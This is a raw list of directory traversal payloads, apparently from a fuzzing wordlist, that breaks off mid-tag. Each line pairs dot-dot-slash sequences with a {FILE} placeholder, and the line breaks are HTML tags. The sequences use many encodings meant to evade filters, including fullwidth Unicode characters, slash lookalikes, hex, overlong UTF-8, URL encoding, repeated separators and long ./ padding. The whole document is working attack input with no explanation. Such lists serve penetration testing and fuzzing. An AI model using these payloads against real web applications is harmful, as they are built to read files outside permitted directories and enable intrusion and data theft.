..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> %uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> ..%u2216{FILE}<br /> ..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uF025{FILE}<br /> ..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> %uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> ..0x2f{FILE}<br /> ..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> 0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> ..0x5c{FILE}<br /> ..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> 0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> ..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> %c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> ..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> %c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> ///%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> \\\%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..//{FILE}<br /> ..//..//{FILE}<br /> ..//..//..//{FILE}<br /> ..//..//..//..//{FILE}<br /> ..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//..//{FILE}<br /> ..///{FILE}<br /> ..///..///{FILE}<br /> ..///..///..///{FILE}<br /> ..///..///..///..///{FILE}<br /> ..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///..///{FILE}<br /> ..\\{FILE}<br /> ..\\..\\{FILE}<br /> ..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\\{FILE}<br /> ..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ./\/./{FILE}<br /> ./\/././\/./{FILE}<br /> ./\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> .\/\.\{FILE}<br /> .\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}<br /> ./../{FILE}<br /> ./.././../{FILE}<br /> ./.././.././../{FILE}<br /> ./.././.././.././../{FILE}<br /> ./.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././.././../{FILE}<br /> .\..\{FILE}<br /> .\..\.\..\{FILE}<br /> .\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .//..//{FILE}<br /> .//..//.//..//{FILE}<br /> .//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .\\..\\{FILE}<br /> .\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> ../{FILE}<br /> ../..//{FILE}<br /> ../..//../{FILE}<br /> ../..//../..//{FILE}<br /> ../..//../..//../{FILE}<br /> ../..//../..//../..//{FILE}<br /> ../..//../..//../..//../{FILE}<br /> ../..//../..//../..//../..//{FILE}<br /> ..\{FILE}<br /> ..\..\\{FILE}<br /> ..\..\\..\{FILE}<br /> ..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\{FILE}<br /> ..///{FILE}<br 